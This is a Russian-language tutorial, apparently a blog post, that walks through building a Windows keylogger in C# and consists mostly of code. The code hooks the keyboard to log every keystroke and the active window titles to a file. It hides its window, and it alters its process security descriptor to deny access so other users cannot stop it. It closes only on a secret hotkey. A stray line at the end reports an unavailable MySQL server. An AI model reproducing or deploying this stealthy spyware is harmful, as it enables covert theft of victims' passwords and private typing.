Здесь будет рассмотрено создание Keylogger на базе .Net C# с вызовами системных функций. Сами системные функции в кратце описываются, но лучше прочитать официальную документацию от Microsoft. Ссылка на репозиторий с рабочей сборкой приведена в конце, так же как и ссылка на доккументацию.
Что будет реализовано:
public enum HookTypes
{
WH_CALLWNDPROC = 4,
WH_CALLWNDPROCRET = 12,
WH_KEYBOARD = 2,
WH_KEYBOARD_LL = 13,
WH_MOUSE = 7,
WH_MOUSE_LL = 14,
WH_JOURNALRECORD = 0,
WH_JOURNALPLAYBACK = 1,
WH_FOREGROUNDIDLE = 11,
WH_SYSMSGFILTER = 6,
WH_GETMESSAGE = 3,
WH_CBT = 5,
WH_HARDWARE = 8,
WH_DEBUG = 9,
WH_SHELL = 10,
}
public enum KeyboardEventTypes
{
WM_KEYDOWN = 0x0100,
WM_KEYUP = 0x0101,
}
public class WinEventTypes
{
public const uint WINEVENT_OUTOFCONTEXT = 0;
public const uint EVENT_SYSTEM_FOREGROUND = 3;
}
public enum CombineKeys
{
MOD_ALT = 0x1,
MOD_CONTROL = 0x2,
MOD_SHIFT = 0x4,
MOD_WIN = 0x8,
WM_HOTKEY = 0x0312,
}
protected override void SetVisibleCore(bool value)
{
base.SetVisibleCore(false);
}
Application.Run(HiddenForm);
internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack)
{
using (Process currentProcess = Process.GetCurrentProcess())
using (ProcessModule currentModule = currentProcess.MainModule)
{
return SetWindowsHookEx((int)typeOfHook, callBack,
GetModuleHandle(currentModule.ModuleName), 0);
}
}
internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP)
{
int vkCode = Marshal.ReadInt32(lParam);
SetKeysState();
var saveText = GetSymbol((uint)vkCode);
File.AppendAllText(_fileName, saveText);
}
return CallNextHookEx(HookId, nCode, wParam, lParam);
}
private static void SetKeysState()
{
_capsLock = GetKeyState((int)Keys.CapsLock) != 0;
_numLock = GetKeyState((int)Keys.NumLock) != 0;
_scrollLock = GetKeyState((int)Keys.Scroll) != 0;
_shift = GetKeyState((int)Keys.ShiftKey) != 0;
}
private static string GetSymbol(uint vkCode)
{
var buff = new StringBuilder(maxChars);
var keyboardState = new byte[maxChars];
var keyboard = GetKeyboardLayout(
GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero));
ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard);
var buffSymbol = buff.ToString();
var symbol = buffSymbol.Equals("\r")
? Environment.NewLine
: buffSymbol;
if (_capsLock ^ _shift)
symbol = symbol.ToUpperInvariant();
return symbol;
}
internal IntPtr SetWinHook(WinEventProc callBack)
{
using (Process currentProcess = Process.GetCurrentProcess())
using (ProcessModule currentModule = currentProcess.MainModule)
{
return SetWinEventHook(
WinEventTypes.EVENT_SYSTEM_FOREGROUND,
WinEventTypes.EVENT_SYSTEM_FOREGROUND,
GetModuleHandle(currentModule.ModuleName),
callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT);
}
}
internal static void ActiveWindowsHook(
IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime)
{
File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}");
}
private static string GetActiveWindowTitle()
{
var buff = new StringBuilder(maxChars);
var handle = GetForegroundWindow();
if (GetWindowText(handle, buff, maxChars) > 0)
{
return buff.ToString();
}
return null;
}
internal void BlockForNotAdminUsers()
{
var hProcess = Process.GetCurrentProcess().Handle;
var securityDescriptor = GetProcessSecurityDescriptor(hProcess);
var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid;
securityDescriptor.DiscretionaryAcl.InsertAce(
0,
new CommonAce(
AceFlags.None,
AceQualifier.AccessDenied,
(int)ProcessAccessRights.PROCESS_ALL_ACCESS,
new SecurityIdentifier(WellKnownSidType.WorldSid, sid),
false,
null));
SetProcessSecurityDescriptor(hProcess, securityDescriptor);
}
private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
{
var psd = new byte[0];
GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded);
if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
throw new Win32Exception();
if (!GetKernelObjectSecurity(
processHandle,
DACL_SECURITY_INFORMATION,
psd = new byte[bufSizeNeeded],
bufSizeNeeded,
out bufSizeNeeded))
throw new Win32Exception();
return new RawSecurityDescriptor(psd, 0);
}
private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor)
{
var rawsd = new byte[securityDescriptor.BinaryLength];
securityDescriptor.GetBinaryForm(rawsd, 0);
if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
throw new Win32Exception();
}
internal static int SetHotKey(Keys key, IntPtr handle)
{
int modifiers = 0;
if ((key & Keys.Alt) == Keys.Alt)
modifiers |= (int)CombineKeys.MOD_ALT;
if ((key & Keys.Control) == Keys.Control)
modifiers |= (int)CombineKeys.MOD_CONTROL;
if ((key & Keys.Shift) == Keys.Shift)
modifiers |= (int)CombineKeys.MOD_SHIFT;
Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt;
var keyId = key.GetHashCode();
RegisterHotKey(handle, keyId, modifiers, (int)keys);
return keyId;
}
protected override void WndProc(ref Message m)
{
if (m.Msg == (int)CombineKeys.WM_HOTKEY)
{
if ((int)m.WParam == KeyId)
{
UnregisterHotKey(Handle, KeyId);
Application.Exit();
}
}
base.WndProc(ref m);
}
К сожалению, не доступен сервер mySQL